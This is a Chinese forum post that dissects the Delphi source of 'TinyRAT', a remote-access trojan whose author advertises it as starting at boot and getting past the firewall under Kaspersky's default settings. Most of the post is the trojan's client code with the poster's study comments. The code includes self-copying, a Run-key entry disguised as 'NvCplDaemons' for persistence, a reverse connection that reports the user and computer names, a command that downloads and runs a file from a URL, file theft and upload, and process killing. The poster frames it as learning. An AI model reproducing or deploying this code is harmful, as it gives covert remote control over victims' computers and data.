关于 “TinyRAT”的背景:

代码编写:Anskya 简要的一款远程控制,FSG压缩后只有12k 下个版本将完全采用ASM+C编写,体积在5k左右使用bingle前辈的 创建SvcHost.exe调用的服务原理与实践使用的是和小榕前辈的BITS后门的一个替换技术.这里向两位前辈表示感谢,代码在编写过程中.得到一步江湖和sforever两位朋友的帮助(特别感谢sforever,没有逆向他的那个后门程序接口偶也不会发现一个BUG.)程序可以在卡巴斯基默认设置下,开机自启动和穿墙...反向连接,暂时只支持DNS和IP 由于身体上的等等原因还有其他一些外界因素.程序写的比较仓促初步写了几个功能,暂时大家试用一下好了.纯属练手 1.进程管理:查看,干掉.选定的进程 2.文件管理:上传,下载,新建目录,删除目录,删除文件等功能... 3.提供远程下载者功能:您可以选择下载并运行您的程序 4.提供卸载功能 





-----------------------------------------


一直在解剖灰鸽子1。2的,,,,由于帮一个朋友写一个小程序,再加上一些琐事,就担搁下来了,熊哥也和我说,分析 要注重协议等的东西。今晚看了看这个,这个源码的解剖 有助于我们进一步解剖灰鸽子哦。。。。。。


但我认为,不管 重点放在哪些方面,只要我们有所收获,就已经够了。。。分析远控不是为了写一个远控(可能有朋友会比较急于这个目的,不过对我来说不是这样的,我的目的是学习更多的编程思路和技巧)


好了,废话 少说 ,我们大致看看客户端主程序全部源码,回帖里我加上我的理解和分析,大家可以一起看看。。。。。。。。

-------------------------------------
program Clinet001;

uses
  Windows, SocketUnit, VarUnit, FuncUnit, MainUnit, ShellAPI, UrlMon;

const
  MasterMutex = 'Anskya_Drache_Client_001';
  MasterFile  = 'File++++++++++++++++++++++++++++.exe';
  MasterDNSE  = 'Localhost---------------------------';
  MasterPort  = 9090;

var
  MasterSocket: TClientSocket;




//  Client工作线程
function ClientWork(stSocket: TClientSocket): DWORD;
var
  dwResult, dwSocketCmd: DWORD;
  StrBuffer, StrTemp: String;
  lpBuffer: Pointer;
  MiniBuffer: TMinBufferHeader;
  bIsNotError: Boolean;
begin
  Result := Sock_Error;
  if (Not stSocket.Connected) then Exit;

  while True do
  begin
    MasterSocket.Idle(0);    //作用是什么呢  ?

    dwResult := stSocket.ReceiveLength;

    if dwResult = 0 then
    begin
      dwResult := stSocket.SendBuffer(lpBuffer, 2);  //发送一个空指针过去?
    end;

    if (Not (stSocket.Connected)) then Break;  //如果没有连接中断循环

    if (dwResult < 4) then Continue;
    //如果dwResult位数不够,则进入下一个循环,下面的暂时不执行,直到达到4位了才执行?

    dwResult := dwResult + 1;

    GetMem(lpBuffer, dwResult);      //开辟内存空间 长度为  dwResult

    ZeroMemory(lpBuffer, dwResult);  //置零刚才开好的控件

    dwResult := stSocket.ReceiveBuffer(lpBuffer^, dwResult); //获取 传过来的数据,放到lpBuffer中
    //  判断数据包长度
    Case dwResult of
      MIN_BUFFER_SIZE:
      begin
        dwSocketCmd := PMinBufferHeader(lpBuffer)^.dwSocketCmd;
      end;

      MinEx_BUFFER_SIZE:
      begin
        dwSocketCmd := PMinExBufferHeader(lpBuffer)^.dwSocketCmd;
        dwResult := PMinExBufferHeader(lpBuffer)^.dwBufferSize;
      end;
    else

      dwSocketCmd := PMinBufferHeader(lpBuffer)^.dwSocketCmd;

      StrBuffer := String(Pchar(@(Pchar(lpBuffer)[4])));
      //取其第4个以后的pchar的字串,pchar[0]..pchar[3] 就是dwSocketCmd

    end;
    FreeMem(lpBuffer);

    //  分离命令头部并解析命令头部 ,根据命令头部下面做一系列的动作

    case dwSocketCmd of

      //  Ping功能
      Client_Ping:
      begin
        MessageBox(0, Pchar(StrBuffer), 'By Drache', 0);
      end;

      //  Close Client
      Client_Close:
      begin
        Result := Sock_Close;
        Break;
      end;

      //  Remove Client
      Client_Remove:
      begin
        DelStrToReg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'NvCplDaemons');
        Result := Sock_Close;
        Break;
      end;

      //  Downloader
      Client_Download:
      begin
        StrTemp := GetSetupPathEx(2) + ExtractURLName(StrBuffer);
        if URLDownloadToFile(nil, Pchar(StrBuffer), Pchar(StrTemp), 0, nil)= S_OK then
        begin
          ShellExecute(0, 'Open', Pchar(StrTemp), nil, nil, SW_SHOW);
        end;
      end;

      //  Get Process List
      Client_GetProcessList:
      begin
        SendData(stSocket, Client_GetProcessList, GetProcessList());
      end;

      //  Kill Process  杀进程
      Client_KillProcess:
      begin
        KillProcessByPID(dwResult);
      end;

      //-------------------------------------------------------------------------
      //  获取磁盘列表
      Get_DiskList:
      begin
        SendData(stSocket, Get_DiskList, GetDriveList());
      end;
      //  获取目录列表(目录名称)
      Get_DirList:
      begin
        SendData(stSocket, Get_DirList, ListFiles(0, StrBuffer));
      end;
      //  获取文件列表(文件名+文件大小)
      Get_FileList:
      begin
        SendData(stSocket, Get_FileList, ListFiles(1, StrBuffer));
      end;

      //  文件操作
      File_Execute:
      begin
        ShellExecute(0, 'Open', Pchar(StrBuffer), nil, nil, SW_SHOW);
      end;

      //  删除文件
      File_Delete:
      begin
        DeleteFile(Pchar(StrBuffer));
      end;

      //  新建文件夹
      Dir_New:
      begin
        CreateDirectory(Pchar(StrBuffer), nil);
      end;

      //  删除文件夹
      Dir_Delete:
      begin
        RemoveDirectory(Pchar(StrBuffer));
      end;

      //  下载文件
      File_DownLoadBegin:
      begin
        bIsNotError := DownloadFile(stSocket, Pchar(StrBuffer));
        if bIsNotError then MiniBuffer.dwSocketCmd := File_DownloadEnd
        else MiniBuffer.dwSocketCmd := File_IO_Error;
        stSocket.SendBuffer(MiniBuffer, MIN_BUFFER_SIZE);
      end;
      
      //  上传文件
      File_UploadBegin:
      begin
        UploadFile(stSocket, Pchar(StrBuffer));
      end;

    else

    end;
  end;
end;

//////////////////////////////////////////////////////////////////////////////////////
//  网络执行主线程
procedure WinMain();
var
  dwResult: DWORD;
  StrBuffer: String;
  MinBuffer: TMinBufferHeader;  //一个记录型
begin

  MasterSocket := TClientSocket.Create;    //创建一个 socket 的client端

  //  循环连接Server
  while Not (MasterSocket.Connected) do
  begin
    MasterSocket.Connect(MasterDNSE, MasterPort);
    if MasterSocket.Connected then
    begin
      //  发送上线数据包
      StrBuffer := GetPcUserName(0) + '|' + GetPcUserName(1) + '|';
      //  GetPcUserName(0)----获得系统用户名
      //  GetPcUserName(1)----获得计算机名
      if SendData(MasterSocket, Client_Online, StrBuffer) then
      //Client_Online = $AABB01FF;  (见 varunit.pas)定义的一个常量,表示在线命令
      //sendData是 自定义的一个函数(见 varunit.pas),作者用来发 字串的,成功返回true ,失败返回false

      begin
        //  判断是否连接超时  ?????Idle 是什么函数?作用? 网上好像没有相关资料
        if MasterSocket.Idle(3) <= 0 then
        begin
          MasterSocket.Disconnect;
          Continue;
        end;

        //  判断接受的数据包是否长度为4,而且数据包的命令标识是上线成功的指令
        dwResult := MasterSocket.ReceiveBuffer(MinBuffer, Sizeof(TMinBufferHeader));

        if (dwResult = 4) and (MinBuffer.dwSocketCmd = Client_Online) then
        begin
          dwResult := ClientWork(MasterSocket);
          if dwResult = Sock_Close then
          begin
            MasterSocket.Disconnect;
            Break;
          end;
        end else
        begin
          MasterSocket.Disconnect;
          Continue;
        end;
      end;
    end;
    MasterSocket.Disconnect;        //  断开连接进行下一次循环
    Sleep(10000);
  end;
  MasterSocket.Free;
end;

procedure Setup();
var
  StrFile, StrSelfFile: String;
begin
  StrFile := GetSetupPathEx(1) + MasterFile;  //目标文件路径+文件名
  StrSelfFile := ParamStr(0);  //自身文件路径+文件名
  
  if Not (StrCmp(StrFile, StrSelfFile)) then    //如果两者不一致,把自身复制到目标路径上去
  begin
    DeleteFile(Pchar(StrFile));  //先把目标的删掉
    if CopyFile(Pchar(StrSelfFile), Pchar(StrFile), False) then
    //copyfile中的第3个参数 false表示存在就覆盖,如果是 true表示存在就失败
    begin
      ShellExecute(0, 'Open', Pchar(StrFile), nil, nil, SW_SHOW); //运行目标文件
      //WinExec(Pchar(StrFile), SW_SHOW);
      ExitProcess(0);  //退出本线程
    end;
  end else
  begin
    AddStrToReg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'NvCplDaemons', Pchar(StrSelfFile));
    //创建注册表键值
  end;
end;

begin
  Sleep(3000);
  if CreatedMutexEx(MasterMutex) then
  begin
    Setup();
    GetDebugPrivs;
    WinMain();
  end;
end.
 
 
 
 
先看程序主干。。。。。。。

看到了么?和我们常见的有窗体的程序不一样了,

这个program 的结构是:

program programname;

uses 
.......;

const.
.......;

var
.............;

function ClientWork(stSocket: TClientSocket): DWORD;

........;

procedure WinMain();

.........;

procedure Setup();
.........;

begin
  Sleep(3000);
  if CreatedMutexEx(MasterMutex) then
  begin
    Setup();
    GetDebugPrivs;
    WinMain();
  end;
end.

这种结构,是无窗体的一种程序,在这个程序里,程序只执行了代码里的动作,没有生成一个窗体

真正的程序主干 最后的这段:

Sleep(3000);
  if CreatedMutexEx(MasterMutex) then
  begin
    Setup();
    GetDebugPrivs;
    WinMain();

首先 程序执行的是CreatedMutexEx(MasterMutex) ,根据返回值判断 符合条件 就执行 setup ,接着 getdebugprivs,最后执行 winmain。。。

整个流程就是这样 ,非常清晰 主干明白了吧,下面我们一个一个来看,从下面往上一步一步顺藤摸瓜好了。。。。。。。大家可以按我的回帖顺序来分析这个程序。。。。
 
 
 
Sleep(3000);  就不用说了,程序先休眠3秒钟。。。。

------------------------------

CreatedMutexEx(MasterMutex)  的参数MasterMutex 在这里是一个常量,在程序的一开始就定义了,看到了么

const
MasterMutex = 'Anskya_Drache_Client_001';

那么 CreatedMutexEx(MasterMutex)  是作甚么的呢?我们找它的函数原型

我们发现 它是在 funcunion.pas里 作者自己定义的。我们到里面看看。发现有这两段:
===============代码========================

function CreatedMutexEx(MutexName: Pchar): Boolean;
var
  MutexHandle: dword;
begin
  MutexHandle := CreateMutex(nil, True, MutexName);
  //CreateMutex用于创建一个互斥对象 ,针对多线程编程而言
  if MutexHandle <> 0 then //创建成功
  begin
    if GetLastError = ERROR_ALREADY_EXISTS then
    //如果这个对象存在 就反馈回来“ERROR_ALREADY_EXISTS”,这时报错
    begin
      //CloseHandle(MutexHandle);
      Result := False;    //返回值是 false
      Exit;  //退出例程
    end;
  end;
  Result := True;
end;
=================结束===================

可以看出,这段代码 的用意 是要创建一个互斥的线程对象,如果成功,就返回true 否则返回flase


-------------------------------------------------

这个作者这样写得很不科学,很费解 ,他想实现的功能其实很简单 2句话搞定:

if  CreateMutex(nil, True, MutexName) <> 0 then
    if GetLastError = ERROR_ALREADY_EXISTS then exitprocess(0) 


当已经存在一个互斥对象的时候 就退出线程。。。。。这个作用的意思,相当于,你的鸽子不能同时运行2个同样版本的鸽子服务端对不对?赫赫,,,只要有同名的进程在运行 他就不运行下面这3个函数了。。。。

Setup();
GetDebugPrivs;
  WinMain();

。。。。